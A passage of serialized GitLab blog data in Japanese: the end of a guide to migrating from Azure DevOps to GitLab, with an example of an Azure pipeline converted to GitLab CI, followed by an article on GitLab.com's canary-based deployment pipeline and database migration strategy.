個別の作業アイテムのGitLabイシューへの移行](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764769188/ztesjnxxfbwmfmtckyga.png)\n\nバッチ処理のガイダンス:\n\n* バッチで移行を実行する必要がある場合は、新しいグループ/サブグループ構造を使用してバッチを定義します（たとえば、ADO組織ごと、または製品領域ごと）。\n* インベントリレポートを使用してバッチ選択を推進し、スケールアップする前に各バッチをパイロット移行でテストします。\n\n**パイプライン移行**\n\nCongregateは最近、Azure DevOpsからGitLab CI/CDへのマルチステージYAMLパイプラインのAI搭載変換を[導入しました](https://gitlab.com/gitlab-org/professional-services-automation/tools/migration/congregate/-/merge_requests/1298)。この自動変換は、シンプルな単一ファイルパイプラインに最適で、本番環境対応の`.gitlab-ci.yml`ファイルではなく、動作する出発点を提供するように設計されています。このツールは、機能的に同等のGitLabパイプラインを生成し、その後特定のニーズに合わせて調整および最適化できます。\n\n* Azureパイプライン YAMLを`.gitlab-ci.yml`形式に自動変換します。\n* シンプルな単一ファイルパイプライン設定に最適です。\n* 移行を加速するためのボイラープレートを提供し、最終的な本番環境アーティファクトではありません。\n* 複雑なシナリオ、カスタムタスク、エンタープライズ要件については、レビューや調整が必要です。\n* Azure DevOpsのクラシックリリースパイプラインはサポートしていません — 最初に[マルチステージYAMLに変換](https://learn.microsoft.com/en-us/azure/devops/pipelines/release/from-classic-pipelines?view=azure-devops)してください。\n\nリポジトリオーナーは、初期変換後にパイプラインをさらに最適化および強化するために、[GitLab CI/CDドキュメント](https://docs.gitlab.com/ci/)を確認する必要があります。\n\n変換されたパイプラインの例:\n\n```yml\n# azure-pipelines.yml\n\ntrigger:\n  - main\n\nvariables:\n  imageName: myapp\n\nstages:\n  - stage: Build\n    jobs:\n      - job: Build\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          - task: Docker@2\n            displayName: Build Docker image\n            inputs:\n              command: build\n              repository: $(imageName)\n              Dockerfile: '**/Dockerfile'\n              tags: |\n                $(Build.BuildId)\n\n  - stage: Test\n    jobs:\n      - job: Test\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          # Example: run tests inside the container\n          - script: |\n              docker run --rm $(imageName):$(Build.BuildId) npm test\n            displayName: Run tests\n\n  - stage: Push\n    jobs:\n      - job: Push\n        pool:\n          vmImage: 'ubuntu-latest'\n        steps:\n          - checkout: self\n\n          - task: Docker@2\n            displayName: Login to ACR\n            inputs:\n              command: login\n              containerRegistry: '\u003Cyour-acr-service-connection>'\n\n          - task: Docker@2\n            displayName: Push image to ACR\n            inputs:\n              command: push\n              repository: $(imageName)\n              tags: |\n                $(Build.BuildId)\n```\n\n```yaml\n# .gitlab-ci.yml\n\nvariables:\n  imageName: myapp\n\nstages:\n  - build\n  - test\n  - push\n\nbuild:\n  stage: build\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker build -t $imageName:$CI_PIPELINE_ID -f $(find . -name Dockerfile) .\n  only:\n    - main\n\ntest:\n  stage: test\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker run --rm $imageName:$CI_PIPELINE_ID npm test\n  only:\n    - main\n\npush:\n  stage: push\n  image: docker:latest\n  services:\n    - docker:dind\n  before_script:\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker tag $imageName:$CI_PIPELINE_ID $CI_REGISTRY/$CI_PROJECT_PATH/$imageName:$CI_PIPELINE_ID\n    - docker push $CI_REGISTRY/$CI_PROJECT_PATH/$imageName:$CI_PIPELINE_ID\n  only:\n    - main\n```\n\n**最終チェックリスト:**\n\n* タイムラインとバッチ戦略を決定します。\n* リポジトリ、PR、コントリビューターの完全なインベントリを作成します。\n* スコープ（PRとメタデータ vs Gitデータのみ）に基づいて、Congregateまたは組み込みインポートを選択します。\n* 誰が移行を実行するかを決定し、トークン/権限が設定されていることを確認します。\n* 個別に移行する必要があるアセット（パイプライン、作業アイテム、アーティファクト、フック）を特定し、それらの取り組みを計画します。\n* パイロット移行を実行し、結果を検証してから、計画に従ってスケールします。\n\n## 移行の実行\n\n計画後、トライアル実行から始めて、段階的に移行を実行します。トライアル移行は、組織固有の問題を早期に明らかにし、期間を測定し、結果を検証し、本番環境前にアプローチを微調整する上で役立ちます。\n\nトライアル移行が検証する内容:\n\n* 特定のリポジトリと関連アセットが正常に移行されるかどうか（履歴、ブランチ、タグ。Congregateを使用する場合はMR/コメントも含む）\n* 移行先がすぐに使用可能かどうか（権限、Runner、CI/CD変数、インテグレーション）\n* スケジュールとステークホルダーの期待値を設定するため、各バッチにかかる時間。\n\nダウンタイムのガイダンス:\n\n* GitLabの組み込みGitインポートとCongregateは、本質的にダウンタイムを必要としません。\n* 本番環境の場合では、ADOの変更を凍結（ブランチ保護または読み取り専用）して、移行中に見逃されたコミット、PR更新、作業アイテムの作成を回避します。\n* トライアル実行では凍結は必要なく、いつでも実行できます。\n\nバッチ処理のガイダンス:\n\n* 経過時間を短縮するために、トライアルバッチを連続して実行します。チームは非同期で結果を検証できます。\n* 計画したグループ/サブグループ構造を使用してバッチを定義し、APIレート制限を遵守します。\n\n推奨手順:\n\n1. GitLabでトライアル用のテスト先を作成:\n\n* GitLab.com: 専用グループ/ネームスペースを作成（例: my-org-sandbox）\n* Self-managed: トップレベルグループまたは必要に応じて別のテストインスタンスを作成\n\n2. 認証の準備:\n\n* 必要なスコープを持つAzure DevOps PAT\n* apiとread_repositoryを持つGitLabパーソナルアクセストークン（Congregateで使用されるファイルベースのインポートの場合は管理者アクセスも含む）```suggestion:-0+0\n* apiとread_repositoryを持つGitLabパーソナルアクセストークン（Congregateで使用されるファイルベースのインポートの場合は管理者アクセスも含む）\n\n3. トライアル移行の実行:\n\n* リポジトリのみ: GitLabの組み込みインポート（URLによるレポジトリインポート）を使用\n* リポジトリ + PR/MRおよび追加アセット: Congregateを使用\n\n4. トライアル後のフォローアップ:\n\n* リポジトリ履歴、ブランチ、タグ、マージリクエスト（移行された場合）、イシュー/エピック（移行された場合）、ラベル、関係性を確認します。\n* 権限/ロール、保護ブランチ、必要な承認、Runner/タグ、変数/シークレット、インテグレーション/Webhookを確認します。\n* パイプライン（`.gitlab-ci.yml`）または（該当する場合は）変換されたパイプラインを検証します。\n\n5. ユーザーに機能とデータの正確性を検証してもらいます。\n6. トライアル中に発見された問題を解決し、実行手順を更新します。\n7. ネットワークとセキュリティ:\n\n* 移行先の環境がIP許可リストを使用している場合、インポートが成功するように、移行ホストと必要なRunner/インテグレーションのIPを追加します。\n\n8. 本番環境への移行は段階的に実行:\n\n* 各段階で、ADOで変更凍結を実施します。\n* 進捗とログを監視します。レート制限に達した場合は、再試行するか、バッチサイズを調整します。\n\n9. オプション: 完了後、サンドボックスグループを削除またはアーカイブします。\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ibIXGfrVbi4?si=ZxOVnXjCF-h4Ne0N\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe>\n\u003C/figure>\n\n## GitLabとAzure DevOpsの用語リファレンス\n\n| GitLab                                      | Azure DevOps                     | 類似点と主な違い                                                                        |\n| ------------------------------------------- | -------------------------------- | ------------------------------------------------------------------------------- |\n| グループ                                        | 組織                               | トップレベルのネームスペース、メンバーシップ、ポリシー。ADO組織にはプロジェクトが含まれ、GitLabグループにはサブグループとプロジェクトが含まれます。  |\n| グループまたはサブグループ                               | プロジェクト                           | 論理コンテナ、権限境界。ADOプロジェクトは多数のリポジトリを保持し、GitLabグループ/サブグループは多数のプロジェクトを整理します。           |\n| Project（Gitリポジトリを含む）                        | リポジトリ（プロジェクト内）                   | Git履歴、ブランチ、タグ。GitLabでは、「プロジェクト」はリポジトリとイシュー、CI/CD、Wikiなどを含みます。プロジェクトごとに1つのリポジトリ。 |\n| マージリクエスト（MR）                                | プルリクエスト（PR）                      | コードレビュー、ディスカッション、承認。MRルールには、承認、必要なパイプライン、コードオーナーが含まれます。                         |\n| 保護されたブランチ、MR承認ルール、ステータスチェック                 | ブランチポリシー                         | レビューとチェックを強制。GitLabは保護 + 承認ルール + 必要なステータスチェックを組み合わせます。                          |\n| GitLab CI/CD                                | Azureパイプライン                      | YAMLパイプライン、ステージ/ジョブ、ログ。ADOにはクラシックUIパイプラインもあり、GitLabは.gitlab-ci.ymlを中心にしています。    |\n| .gitlab-ci.yml                              | azure-pipelines.yml              | ステージ/ジョブ/トリガーを定義。構文/機能が異なります。ジョブ、変数、アーティファクト、トリガーをマッピングします。                     |\n| Runner（共有/特定）                               | エージェント/エージェントプール                 | マシン/コンテナでジョブを実行。デマンド（ADO）対タグ（GitLab）でターゲット。登録/スコーピングが異なります。                     |\n| CI/CD変数（プロジェクト/グループ/インスタンス）、保護/マスク          | パイプライン変数、変数グループ、ライブラリ            | 設定/シークレットをジョブに渡します。GitLabはグループ継承とマスキング/保護フラグをサポートします。                           |\n| インテグレーション、CI/CD変数、デプロイキー                    | サービス接続                           | サービス/クラウドへの外部認証。インテグレーションまたは変数にマッピング。クラウド固有のヘルパーが利用可能。                          |\n| 環境とデプロイメント（保護された環境）                         | 環境（承認付き）                         | デプロイターゲット/履歴を追跡。GitLabでは保護された環境と手動ジョブを介した承認。                                    |\n| リリース（タグ + ノート）                              | リリース（クラシックまたはパイプライン）             | バージョン管理されたノート/アーティファクト。GitLabリリースはタグに結び付けられ、デプロイメントは個別に追跡されます。                  |\n| ジョブアーティファクト                                 | パイプラインアーティファクト                   | ジョブ出力を保持。保持/有効期限はジョブまたはプロジェクトごとに設定されます。                                         |\n| パッケージレジストリ（NuGet/npm/Maven/PyPI/Composerなど） | Azureアーティファクト（NuGet/npm/Mavenなど） | パッケージホスティング。認証/ネームスペースが異なります。パッケージタイプごとに移行します。                                  |\n| GitLabコンテナレジストリ                             | Azureコンテナレジストリ（ACR）または他          | OCIイメージ。GitLabはプロジェクト/グループごとのレジストリを提供します。                                       |\n| イシューボード                                     | ボード                              | 列で作業を視覚化。GitLabボードはラベル駆動型で、プロジェクト/グループごとに複数のボードがあります。                           |\n| イシュー（タイプ/ラベル）、エピック                          | 作業アイテム（ユーザーストーリー/バグ/タスク）         | 作業単位を追跡。ADOタイプ/フィールドをラベル/カスタムフィールドにマッピング。エピックはグループレベルです。                        |\n| エピック、親子イシュー                                 | エピック/機能                          | 作業の階層。スキーマが異なります。エピックとイシュー関係を使用します。                                             |\n| マイルストーンとイテレーション                             | イテレーションパス                        | タイムボックス化。GitLabイテレーション（グループ機能）またはプロジェクト/グループごとのマイルストーン。                         |\n| ラベル（スコープ付きラベル）                              | エリアパス                            | 分類/所有権。階層エリアをスコープ付きラベルに置き換えます。                                                  |\n| プロジェクト/グループWiki                             | プロジェクトWiki                       | マークダウンWiki。両方ともリポジトリでバックアップされます。レイアウト/認証がわずかに異なります。                             |\n| CI経由のテストレポート、要件/テスト管理、インテグレーション             | テストプラン/ケース/実行                    | QA証拠/トレーサビリティ。ADOテストプランとの1対1対応はありません。多くの場合、CIレポート + イシュー/要件を使用します。              |\n| ロール（オーナー/メンテナー/デベロッパー/レポーター/ゲスト） + カスタムロール  | アクセスレベル + きめ細かい権限                | 読み取り/書き込み/管理を制御。モデルが異なります。グループ継承と保護されたリソースを活用します。                               |\n| Webhook                                     | サービスフック                          | イベント駆動型インテグレーション。イベント名/ペイロードが異なります。エンドポイントを再設定します。                              |\n| 高度な検索                                       | コードサーチ                           | フルテキストリポジトリ検索。Self-managed版のGitLabでは、高度な機能にElasticsearch/OpenSearchが必要な場合があります。 |",[987,988],"Evgeny Rudinsky","Michael Leopard","2025-12-08","2025-12-03","ガイド: Azure DevOpsからGitLabへの移行",[822,993,88],"git","GitLabプロフェッショナルサービスの移行ツールを使用してAzure DevOpsからGitLabへの完全な移行を実行する方法を学びます — 計画、実行から移行後のフォローアップタスクまで。",{"featured":13,"template":796,"slug":996},"migration-from-azure-devops-to-gitlab",{"content":998,"config":1009},{"heroImage":999,"body":1000,"authors":1001,"updatedDate":1003,"date":1004,"title":1005,"tags":1006,"description":1008,"category":706},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1764108112/tyntnsy3xotlmehtnfkb.png","毎日、GitLabは世界最大のGitLabインスタンスであるGitLab.comにコード変更を最大12回、ダウンタイムなしでデプロイしています。これらのデプロイ管理には、GitLab独自のCI/CDプラットフォームを使用しており、世界中の数百万人のデベロッパーに影響を与えています。このデプロイ頻度は、私たちの主要な品質基準とストレステストとして機能しています。また、お客様は数週間や数か月待つことなく、開発から数時間以内で新機能にアクセスできるようになります。組織がDevOpsワークフローにGitLabを利用する場合、私たち自身のインフラストラクチャで大規模に実証されたプラットフォームを使用していることになります。この記事では、このデプロイの複雑さを処理するために、GitLab CI/CDのコア機能を使用して自動化されたデプロイパイプラインを構築した方法をご紹介します。\n\n\n## デプロイ速度がもたらすビジネスケース\n\n\n当社の実践から見えるもの：私たちのデプロイ頻度は単なるエンジニアリング指標ではなく、ビジネス上の必須要件です。迅速なデプロイサイクルにより、お客様からのフィードバックに数時間以内に対応し、セキュリティパッチを即座に提供し、新機能を本番環境で検証してからスケールすることができます。\n\n\nお客様が得られる価値：GitLab.comへのすべてのデプロイは、ユーザーに推奨するデプロイプラクティスを検証しています。GitLabのデプロイ機能を使用する場合、数百万のgit操作、CI/CDパイプライン、ユーザーインタラクションを日々処理する実証済みのアプローチを使用していることになります。以下のメリットがあります:\n\n- 最新機能が即座に利用可能：新しい機能は四半期ごとのリリースサイクルではなく、完成してから数時間以内に提供されます\n- 大規模環境で実証された信頼性：機能がGitLab.comで動作すれば、お客様の環境でも信頼できます\n- GitLabの完全な価値：ゼロダウンタイムデプロイにより、更新中でもDevOpsプラットフォームへのアクセスが失われることはありません\n- 実環境でテストされたプラクティス：当社のデプロイドキュメントは理論ではなく、世界最大のGitLabインスタンスを実際に運用する方法そのものです\n\n\n## コードフローアーキテクチャ\n\n\nデプロイパイプラインは、複数のステージを経て構造化された進行に従います。各ステージは、コード提案から本番環境へのデプロイまでの過程におけるチェックポイントとして機能します。\n\n```mermaid\n  graph TD\n      A[コード提案] --> B[マージリクエスト作成]\n      B --> C[パイプライントリガー]\n      C --> D[ビルド ＆ テスト]\n      D --> E{スペック/統合/QAテスト合格？}\n      E -->|いいえ| F[フィードバックループ]\n      F --> B\n      E -->|はい| G[デフォルトブランチへマージ]\n      G -->|定期的| H[Auto-Deployブランチ]\n\n      subgraph \"デプロイパイプライン\"\n          H --> I[パッケージ作成]\n          I --> K[Canary環境]\n          K --> L[QA検証]\n          L --> M[main環境]\n\n      end\n```\n\n\n## デプロイパイプラインの構成\n\nデプロイアプローチでは、GitLabのネイティブCI/CD機能を使用して、ハイブリッドインフラストラクチャ全体で複雑なデプロイを調整します。\nその実装方法をご紹介します。\n\n\n### ビルド\n\n\nGitLabのビルドは、それ自体が複雑なトピックであるため、ここでは概要レベルで説明します。\n\nOmnibusパッケージとCloud Native GitLab(CNG)イメージの両方をビルドします。OmnibusパッケージはGitalyフリート(Gitストレージレイヤー)にデプロイされ、CNGイメージは他のすべてのコンポーネントをコンテナ化されたワークロードとして実行します。PostgresやRedisなどの他のステートフルサービスは非常に大規模になったため、専任チームが個別に管理しています。GitLab.comの場合、これらのシステムはAuto-Deploy手順中にはデプロイされません。\n\n\n`gitlab-org/gitlab`を定期的に確認し、デフォルトブランチで成功した(「グリーン」)パイプラインを持つ最新のコミットを検索するスケジュールされたパイプラインがあります。グリーンパイプラインは、GitLabのすべてのコンポーネントが包括的なテスト群に成功したことを示します。次に、そのコミットから**auto-deployブランチ**を作成します。\n\n\nこれにより一連のイベントがトリガーされます。主に、このパッケージとモノリスの一部であるすべてのコンポーネントをビルドする必要があります。\n別のスケジュールされたパイプラインが、最新のビルドされたパッケージを選択し、デプロイパイプラインを開始します。手順としては、このようにシンプルに見えます：\n\n\n```mermaid\n  graph LR\n      A[ブランチ作成] --> B[ビルド]\n      B --> C[ビルドされたパッケージを選択]\n      C --> D[デプロイパイプラインを開始]\n```\n\n\nビルドには時間がかかり、さまざまな状況によりデプロイが変動する可能性があるため、最新のビルドをデプロイするように選択しています。技術的には、実際にデプロイされるよりも多くのGitLabのバージョンを.com用にビルドしています。これにより、常に準備が整ったパッケージが用意され、.comに対して完全に継続的にデリバリーされる製品に最も近い状態を実現できます。\n\n\n### 環境ベースの検証とCanary戦略\n\n品質保証(QA)は単なる後付けではなく、開発からデプロイまでのすべてのレイヤーに組み込まれています。QAプロセスでは、ユニットテスト、統合テスト、GitLabの機能との実際のユーザーインタラクションをシミュレートするエンドツーエンドテストを含む自動化されたテスト群を活用しています。しかし、デプロイパイプラインにとってさらに重要なのは、QAプロセスが環境ベースの検証を通じてCanary戦略と密接に連携していることです。\n\n\n検証アプローチの一環として、GitLabのネイティブ[Canaryデプロイ](https://docs.gitlab.com/ja-jp/user/project/canary_deployments/)を活用し、完全な本番環境へのデプロイ前に、限定されたトラフィックで変更を制御しながら検証できるようにしています。[すべてのトラフィックの約5%をCanaryステージに送信しています](https://handbook.gitlab.com/handbook/engineering/infrastructure/environments/canary-stage/#environments-canary-stage)。このアプローチはデータベースマイグレーションの複雑性を高めますが、Canaryデプロイを成功させることで、信頼性の高い製品をシームレスにデプロイすることができます。\n\nGitLabで使用するCanaryデプロイ機能は、本番環境における最も複雑なデプロイメントシナリオの管理を通じて改良されたものです。アプリケーション用にCanaryデプロイを実装する場合、大規模環境で実証済みのパターンを使用していることになります。\n\n当社のデプロイプロセスは、段階的ロールアウト戦略に従います:\n\n1. **ステージング環境 Canary:** 初期検証環境\n\n2. **本番環境 Canary:** 限定された本番トラフィック\n\n3. **ステージング環境 main:** ステージング環境への完全デプロイ\n\n4. **本番環境 main:** 本番環境への完全ロールアウト\n\n```mermaid\n  graph TD\n      C[ステージング環境 Canaryデプロイ]\n      C --> D[QA スモーク main Testステージ]\n      C --> E[QA スモーク Canary Testステージ]\n      D --> F\n      E --> F{テスト合格？}\n      F -->|はい| G[本番環境 Canary デプロイ]\n      G --> S[QA スモーク main Testステージ]\n      G --> T[QA スモーク Canary Testステージ]\n      F -->|いいえ| H[イシュー作成]\n      H --> K[修正＆バックポート]\n      K --> C\n\n      S --> M[Canary トラフィック監視]\n      T --> M[Canary トラフィック監視ベイク期間]\n      M --> U[本番環境安全性チェック]\n      U --> N[ステージング環境 main]\n      N --> V[本番環境 main]\n```\n\nQA検証は、この段階的デプロイプロセス全体の複数のチェックポイントで行われます。各Canaryデプロイ後、そしてデプロイ後のマイグレーション実施後に再度検証を行います。この多層的なアプローチにより、デプロイ戦略の各フェーズに独自のセーフティーネットが確保されます。GitLabの[包括的なテスト手法](https://handbook.gitlab.com/handbook/engineering/testing/)については、ハンドブックで詳しく説明しています。\n\n## デプロイパイプライン\n\nデプロイパイプライン全体で対処している課題についてご紹介します。\n\n### 技術アーキテクチャに関する考慮事項\n\n GitLab.comは、大規模な実環境でのデプロイの複雑性を体現しています。既知の最大規模のGitLabインスタンスとして、デプロイには公式のGitLab HelmチャートとLinuxパッケージを使用しており、これらはお客様が使用するものと同じアーティファクトです。[GitLab.comアーキテクチャ](https://handbook.gitlab.com/handbook/engineering/infrastructure/production/architecture/#gitlab-com-architecture)については、ハンドブックで詳しく説明しています。このハイブリッドアプローチにより、デプロイパイプラインは同一のデプロイサイクルでコンテナ化されたサービスと従来のLinuxサービスの両方をインテリジェントに処理する必要があります。\n\n **大規模なドッグフーディング:** [ゼロダウンタイムのアップグレード](https://docs.gitlab.com/ja-jp/update/zero_downtime/)用にドキュメント化したものと同じ手順を使用してデプロイしています。もし私たちにとってスムーズに機能しないものがあれば、お客様にも推奨しません。この自己規律により、デプロイツールの継続的な改善が促進されています。\n\n すべての環境とステージのアップグレードで、以下のステージが実行されます：\n\n```mermaid\n  graph LR\n      a[Prep] --> c[通常 Migrations - Canaryステージのみ]\n      a --> f[Assets - Canaryステージのみ]\n      c --> d[Gitaly]\n      d --> k8s\n\n      subgraph subGraph0[\"VMワークロード\"]\n        d[\"Gitaly\"]\n      end\n\n      subgraph subGraph1[\"Kubernetesワークロード\"]\n        k8s[\"k8s\"]\n      end\n\n      subgraph fleet[\"フリート\"]\n        subGraph0\n        subGraph1\n      end\n```\n\n\n**ステージの詳細:**\n\n\n- **Prep：** デプロイの準備状況を検証し、デプロイ前のチェックを実行します\n\n- **Migrations：** データベースの通常マイグレーションを実行します。これはCanaryステージでのみ実行されます。Canaryステージとmainステージは同じデータベースを共有しているため、mainステージのデプロイ時にはこれらの変更がすでに利用可能であり、タスクを繰り返す必要はありません。\n\n- **Assets：** すべての静的アセットにGCSバケットを活用しています。新しいアセットが作成された場合、バケットにアップロードし、Canaryステージですぐに利用できるようにします。アセットにWebPackを活用し、アセットの命名にSHAを適切に活用しているため、古いアセットを上書きする心配はありません。したがって、古いアセットは古いデプロイで引き続き利用可能であり、新しいアセットはCanaryがデプロイを開始するとすぐに利用可能になります。これはCanaryステージのデプロイ中にのみ実行されます。Canaryステージとmainステージは同じアセットストレージを共有しているため、mainステージのデプロイ時にはこれらの変更はすでに利用可能です。\n\n- **Gitaly：** 各GitalyノードでOmnibus LinuxパッケージによりGitaly仮想マシンスのトレージレイヤーを更新します。このサービスは[`git`とバンドル](https://gitlab.com/gitlab-org/gitaly/-/blob/master/doc/git-execution-environments.md)されているため、特殊です。したがって、このサービスがアトミックアップグレードを実行可能かを確認する必要があります。[Gitalyのラッパー](https://gitlab.com/gitlab-org/gitaly/-/tree/master/cmd/gitaly-wrapper)を活用し、新しいバージョンのGitalyをインストールし、ライブラリ[`tableflip`](https://github.com/cloudflare/tableflip)を使用しすることで、実行中のGitalyをクリーンにローテーションし、各インスタンスでこのサービスの高可用性を確保しています。\n\n- **Kubernetes：** Helmチャートを使用してコンテナ化されたGitLabコンポーネントをデプロイします。冗長性のために複数のゾーンにまたがる多数のクラスターにデプロイするため、通常これらは被害を最小限に抑えるために個別のステージに分割され、重大な問題が検出された場合はデプロイを途中で停止できるようにしています。\n\n\n### マルチバージョン互換性:隠れた課題\n\n\nプロセスを読むと、データベーススキーマがmainステージが認識しているコードより先行している期間があることに気付くでしょう。これは、Canaryステージが既に新しいコードをデプロイし、通常のデータベースマイグレーションを実行しているが、mainステージはまだこれらの新しいデータベース変更を認識していない以前のバージョンのコードを実行しているために発生します。\n\n**実際の例：** マージリクエストに新しい`merge_readiness`フィールドを追加するとします。デプロイ中、一部のサーバーはこのフィールドを期待するコードを実行していますが、他のサーバーはまだその存在を認識していません。これを適切に処理しないと、数百万人のユーザーが使用するGitLab.comが壊れてしまいます。適切に処理すれば、誰も何が起こったか気付きません。\n\nこれは他のほとんどのサービスでも発生します。たとえば、クライアントが複数のリクエストを送信する場合、そのうちの1つがCanaryステージに到達する可能性があります。他のリクエストはmainステージに向けられる可能性があります。これはデプロイとそれほど変わりません。サービスを実行している数千のPodを通過するのにかなりの時間がかかるためです。\n\n\nいくつかの例外を除いて、サービスの大部分は、Canaryでそのコンポーネントのわずかに新しいバージョンを一定期間実行します。ある意味では、これらのシナリオはすべて一時的な状態です。しかし、ライブの本番環境では数時間または数日間持続することがよくあります。したがって、永続的な状態と同じように注意を払って扱う必要があります。どのデプロイ中も、複数のバージョンのGitLabが同時に実行されており、それらすべてが適切に連携する必要があります。\n\n## データベース操作\n\nデータベースマイグレーションは、Canaryデプロイモデルにおいて独特の課題を提示します。新機能をサポートするためのスキーマ変更が必要な一方で、問題が発生した場合のロールバック機能を維持する必要があります。当社のソリューションでは、懸念を慎重に分離しています：\n\n- **通常マイグレーション:** Canaryステージ中に実行され、後方互換性を持つように設計され、可逆的な変更のみで構成されます\n\n- **デプロイ後マイグレーション:** 複数の成功したデプロイ後にのみ実行される「ポイント・オブ・ノーリターン」マイグレーション\n\n\nデータベース変更は、正確さと広範な検証手順により処理されます:\n\n\n```mermaid\n  graph LR\n      A[通常マイグレーション] --> B[Canaryステージデプロイ]\n      B --> C[mainステージデプロイ]\n      C --> D[デプロイ後マイグレーション]\n\n```\n\n### デプロイ後マイグレーション\n\n\nGitLabのデプロイには多くのコンポーネントが関与します。GitLabの更新はアトミックではないため、多くのコンポーネントが後方互換性を持つ必要があります。\n\n\nデプロイ後マイグレーションには、簡単にロールバックできない変更(データ変換、カラムの削除、または古いコードバージョンを壊す構造的変更など)が含まれることがよくあります。複数の成功したデプロイを通じて信頼を得た_後_にそれらを実行することで、次を保証します:\n\n\n1. **新しいコードが安定している**ため、ロールバックが必要になる可能性が低い\n\n2. **パフォーマンス特性**が本番環境で十分に理解されている\n\n3. **エッジケース**が発見され対処されている\n\n4. 問題が発生した場合に**影響範囲**が最小限に抑えられる\n\n\nこのアプローチは最適なバランスを提供します。Canaryリリースによる迅速な機能デプロイを可能にしながら、デプロイの安定性に高い信頼を得るまでロールバック機能を維持します。\n\n\n**拡張-移行-縮小パターン:** データベース、フロントエンド、アプリケーション互換性の変更は、慎重に調整された3段階のアプローチに従います。\n\n\n1. **拡張：** 古い構造を機能させたまま、新しい構造（カラム、インデックス）を追加\n\n2. **移行：** 新しい構造を使用する新しいアプリケーションコードをデプロイ\n\n3. **縮小：** すべてが安定した後、デプロイ後マイグレーションで古い構造を削除\n\n**実際の例:** マージリクエストに新しい`merge_readiness`カラムを追加する場合：\n\n1. **拡張：** デフォルト値を持つ新しいカラムを追加。既存のコードはそれを無視\n\n2. **移行：** 古いアプローチをサポートしながら、新しいカラムの読み書きを行うコードをデプロイ\n\n3 **縮小：** 複数の成功したデプロイの後、デプロイ後マイグレーションで古いカラムを削除\n\nすべてのデータベース操作、アプリケーションコード、フロントエンドコードなどは、エンジニアリングが遵守する必要がある一連のガイドラインの対象となります。これらは[マルチバージョン互換性ドキュメント](https://docs.gitlab.com/ja-jp/development/multi_version_compatibility/)で確認できます。\n\n\n## 結果と影響\n\nデプロイインフラストラクチャは測定可能なメリットを提供します:\n\n**GitLabにとって**\n\n* GitLab.comへの1日最大12回のデプロイ\n* 数百万人のデベロッパーにサービスを提供するダウンタイムゼロのデプロイ\n* セキュリティパッチを数日ではなく数時間以内で本番環境に提供可能\n* 一般公開前に大規模な本番環境で検証された新機能\n\n**お客様にとって**\n\n* 独自のアプリケーションに採用できる実証済みのデプロイパターン\n* お客様の環境に到達する前に、世界最大のGitLabインスタンスで実証された機能\n* 理論的なベストプラクティスではなく、実際の本番環境のプラクティスを反映したドキュメント\n* GitLabの推奨アップグレード手順が、あらゆる規模で機能するという確信\n\n## エンジニアリングチームへの重要なポイント\n\nGitLabのデプロイパイプラインは、デプロイ速度と運用の信頼性のバランスをとる洗練されたシステムを表しています。段階的デプロイモデル、包括的なテスト統合、堅牢なロールバック機能により、大規模な信頼性の高いソフトウェア配信の基盤を提供します。\n\n\n同様のシステムを実装するエンジニアリングチームにとって、次のような重要な考慮事項があります:\n\n\n- **自動テスト：** デプロイパイプライン全体にわたる包括的なテストカバレッジ\n\n- **段階的ロールアウト：** リスクを最小限に抑え、迅速な復旧を可能にする段階的デプロイ\n\n- **監視統合：** すべてのデプロイステージにわたる包括的な可観測性\n\n- **インシデント対応：** デプロイ問題の迅速な検出と解決能力\n\n\nGitLabのアーキテクチャは、最新のCI/CDシステムが競争力のあるソフトウェア開発に必要な速度を維持しながら、大規模デプロイの複雑性を管理する方法を実証しています。\n\n\n## 対象範囲に関する重要な注意事項\n\n\nこの記事では、特に**GitLab Omnibusパッケージ**と**Helmチャート**の一部であるサービス(基本的にコアGitLabモノリスとその緊密に統合されたコンポーネント)のデプロイパイプラインについて具体的に説明しています。\n\n\nただし、GitLabのインフラストラクチャの範囲は、ここで説明されている内容を超えて広がっています。他のサービス、特に**AIサービス**や**概念実証段階**にあるサービスは、Runwayと呼ばれる内部プラットフォームを使用した異なるデプロイアプローチに従っています。\n\n\nこれらの他のサービスで作業している場合、または興味がある場合は、[Runwayドキュメント](https://docs.runway.gitlab.com)で詳細情報を確認できます。\n\n\nGitLab Dedicatedなどの他のサービスは、お客様が**GitLab Environment Toolkit**を使用して、お客様自身で実行できることを期待する内容により沿った形でデプロイされます。詳細については、[GitLab Environment Toolkitプロジェクト](https://gitlab.com/gitlab-org/gitlab-environment-toolkit)をご覧ください。\n\n\nこの記事で概説されているデプロイ戦略、アーキテクチャに関する考慮事項、パイプラインの複雑性は、コアプラットフォームで使用している実証済みのアプローチを表していますが、大規模なエンジニアリング組織と同様に、さまざまなサービスタイプと成熟度レベルに合わせた複数のデプロイ戦略があります。\n\nAuto-Deployと手順に関する詳細なドキュメントは、以下のリンクで確認できます：\n  - [Engineering Deployments](https://handbook.gitlab.com/handbook/engineering/deployments-and-releases/deployments/)\n  - [Release Procedural Documentation](https://gitlab-org.gitlab.io/release/docs/)\n\n## その他のリソース\n\n- [GitLabリポジトリのバックアップ時間を48時間から41分に短縮した方法](https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/)\n\n- [WebSocketでGitLab CIステータスを高速化した方法](https://about.gitlab.com/blog/how-we-supercharged-gitlab-ci-statuses-with-websockets/)\n\n- [バリューストリーム管理でMRレビュー時間を短縮した方法](https://about.gitlab.com/blog/how-we-reduced-mr-review-time-with-value-stream-management/)\n",[1002],"John Skarbek","2026-01-15","2025-12-01","世界最大のGitLabインスタンスを1日12回デプロイする方法",[745,1007],"inside 